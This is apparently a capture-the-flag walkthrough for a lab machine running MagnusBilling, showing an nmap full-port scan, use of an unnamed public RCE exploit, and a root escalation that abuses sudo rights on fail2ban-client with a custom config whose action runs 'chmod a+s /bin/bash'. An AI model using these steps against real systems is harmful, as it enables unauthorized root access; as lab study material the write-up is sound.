Port enumeration

nmap -p- --open -vvv -n -Pn -sS --min-rate 5000 10.130.177.81 -oG AllPorts.txt

This machine have 4 open ports, ssh, http, mysql and asterisk. 9a3f0b01320f2f898aad715d236a12d7.png

Web Enumeration

First thing who I can see when I open the http page is a MagnusBilling instance. b81f2a75f35c0c259edb88dc660536f3.png With a short research, I found a RCE vulnerability. bd659c019f4f600f1e8dd8aa81608318.png

RCE

I can found a public PoC and get a shell with user Asteroid. d5a7f4f31d5a0c9cd6ed5deae543f1b1.png With this user, i can take the user flag. b5886386b2a764f9a2f09247bf76d762.png

Asteroid enumeration

This user can use fail2ban-client as sudo. e8faffb2995f04d44ee232750ce8bbe0.png WIth this, I can escalate to root.

Privilege escalation

First, Ill need to create a new temp directory where I will create the following files. fail2ban.conf

[Definition]

jail.local

[x]
enabled = true
action = x

action.d/x.conf

[Definition]
actionstart = chmod a+s /bin/bash

filter.d/x.conf

[Definition]

And, with this, I only need to restart fail2ban as sudo.

sudo fail2ban-client -c /tmp -v restart

And the command we writed in action.d/x.conf will execute. 1e01fde295287cf941358a2fa3e899c2.png Allowing me to gain a sudo shell. 2270f6d125cb464532246658418db468.png